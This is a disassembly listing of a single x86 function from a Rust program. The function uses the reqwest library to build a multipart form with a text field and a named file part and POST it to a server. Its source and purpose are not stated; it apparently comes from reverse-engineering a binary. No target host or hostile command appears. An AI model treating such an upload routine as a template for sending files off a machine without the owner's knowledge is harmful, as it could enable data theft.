je 0x100107b2
mov edi, dword [ebp + 0xc]
movsd xmm0, qword [esp + 0x120]
movsd xmm2, qword [esp + 0x110]
movsd xmm1, qword [esp + 0x118]
mov ebx, dword [ebp + 8]
cmp dword [edi], 0
movsd qword [esp + 0x28], xmm0
movsd qword [esp + 0x20], xmm1
movsd qword [esp + 0x18], xmm2
je 0x1001060f
mov eax, dword [edi + 8]
mov ebx, dword [edi + 4]
mov edi, dword [edi + 0xc]
lea ecx, [esp + 0x200]
lea edx, [esp + 0x18]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x10]
push dword [esp + 0x14]
mov dword [esp + 0xc], eax
push eax
call sym.reqwest::blocking::client::Client::post::hfdcfb4810ef304d0
pop eax
pop ecx
lea esi, [esp + 0x110]
mov ecx, esi
call sym.reqwest::blocking::multipart::Form::new::h7fb5bd9a11099b8d
lea ecx, [esp + 0x30]
mov edx, esi
push dword [ebp + 0x10]
call sym.reqwest::blocking::multipart::Form::text::h8c0e3a18c2727e90
pop eax
cmp ebx, 0x80000000
jne 0x100106da
mov eax, dword [esp + 4]
and dword [esp + 0x84], 0
mov dword [esp + 0x80], 2
mov dword [esp + 0x88], 0x1016696c
mov dword [esp + 0x8c], eax
mov dword [esp + 0x90], edi
and dword [esp + 0x94], 0
jmp 0x100106f6
mov eax, dword [esp + 0x10]
add edi, 4
lea ecx, [esp + 0x200]
lea edx, [esp + 0x18]
mov dword [esp + 8], eax
push dword [esp + 0x14]
push eax
call sym.reqwest::blocking::client::Client::post::hfdcfb4810ef304d0
pop eax
pop ecx
lea esi, [esp + 0x110]
mov ecx, esi
call sym.reqwest::blocking::multipart::Form::new::h7fb5bd9a11099b8d
lea ecx, [esp + 0x30]
mov edx, esi
push dword [ebp + 0x10]
call sym.reqwest::blocking::multipart::Form::text::h8c0e3a18c2727e90
pop eax
lea esi, [esp + 0x110]
mov edx, edi
mov ecx, esi
call sym.reqwest::blocking::multipart::Part::text::h096286ed31345fa2
mov edx, dword [ebx + 4]
mov eax, ebx
lea ebx, [esp + 0x58]
mov ecx, ebx
mov dword [esp + 4], edx
push dword [eax + 8]
call dbg.clone
pop eax
lea edi, [esp + 0x80]
mov edx, esi
mov ecx, edi
push ebx
call sym.reqwest::blocking::multipart::Part::file_name::h3bab28508a1c4700
pop eax
mov ecx, ebx
lea edx, [esp + 0x30]
push edi
push 8
push 0x101681e7
call sym.reqwest::blocking::multipart::Form::part::h26e88c180d1290d9
add esp, 0xc
lea esi, [esp + 0x110]
lea edx, [esp + 0x200]
mov ecx, esi
push ebx
call sym.reqwest::blocking::request::RequestBuilder::multipart::h8d8c735cd1f0e855
pop eax
lea edi, [esp + 0x200]
mov edx, esi
mov ecx, edi
call sym.reqwest::blocking::request::RequestBuilder::send::h5a70c39dbd973171
mov esi, dword [edi]
mov ebx, dword [edi + 4]
mov ecx, edi
mov edi, dword [esp + 8]
call sym.__ZN4core3ptr110drop_in_place_LT_core..result..Result_LT_reqwest..blocking..response..Response_C_reqwest..error..Error_GT__GT_
jmp 0x1001077e
mov eax, dword [esp + 4]
lea edx, [esp + 0x58]
lea ecx, [esp + 0x80]
mov dword [edx], ebx
mov dword [edx + 4], eax
mov dword [edx + 8], edi
call sym.__ZN102__LT_reqwest..blocking..body..Body_u20_as_u20_core..convert..From_LT_alloc..vec..Vec_LT_u8_GT__GT__GT_4from17he86869cc3
lea edi, [esp + 0x110]
lea esi, [esp + 0x80]
mov ecx, edi
mov edx, esi
call sym.reqwest::blocking::multipart::Part::new::h785290cd235593c5
mov eax, dword [ebp + 8]
lea ebx, [esp + 0x58]
mov ecx, ebx
mov edx, dword [eax + 4]
mov dword [esp + 4], edx
push dword [eax + 8]
call dbg.clone
pop eax
mov ecx, esi
mov edx, edi
push ebx
call sym.reqwest::blocking::multipart::Part::file_name::h3bab28508a1c4700
pop eax
lea edx, [esp + 0x30]
mov ecx, ebx
push esi
push 8
push 0x101681e7
call sym.reqwest::blocking::multipart::Form::part::h26e88c180d1290d9
add esp, 0xc
lea esi, [esp + 0x110]
lea edx, [esp + 0x200]
mov ecx, esi
push ebx
call sym.reqwest::blocking::request::RequestBuilder::multipart::h8d8c735cd1f0e855
pop eax
lea edi, [esp + 0x200]
mov edx, esi
mov ecx, edi
call sym.reqwest::blocking::request::RequestBuilder::send::h5a70c39dbd973171
mov esi, dword [edi]
mov ebx, dword [edi + 4]
mov ecx, edi
call sym.__ZN4core3ptr110drop_in_place_LT_core..result..Result_LT_reqwest..blocking..response..Response_C_reqwest..error..Error_GT__GT_
mov edi, dword [esp + 8]
xor esi, 3
lea ecx, [esp + 0x28]
or esi, ebx
setne bl
call sym.core::ptr::drop_in_place_LT_alloc..sync..Arc_LT_reqwest..blocking..client..InnerClientHandle_GT__GT_::h11574ea0f3de0e9e
mov ecx, dword [esp + 0xc]
mov edx, edi
call sym.core::ptr::drop_in_place_LT_alloc..borrow..Cow_LT_str_GT__GT_::h35a67361265e5661
mov eax, dword [ebp + 8]
mov edx, dword [esp + 4]
mov ecx, dword [eax]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov eax, ebx
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [esp + 0x110]
mov dword [esp + 0x200], eax
push 0xd
pop edx
mov ecx, str.Client::new__valid_request_parts
push 0x101b9d34
push 0x101b67fc
push esi
call sym.core::result::unwrap_failed::hb9c5ac622931d85d
nop dword [eax + eax]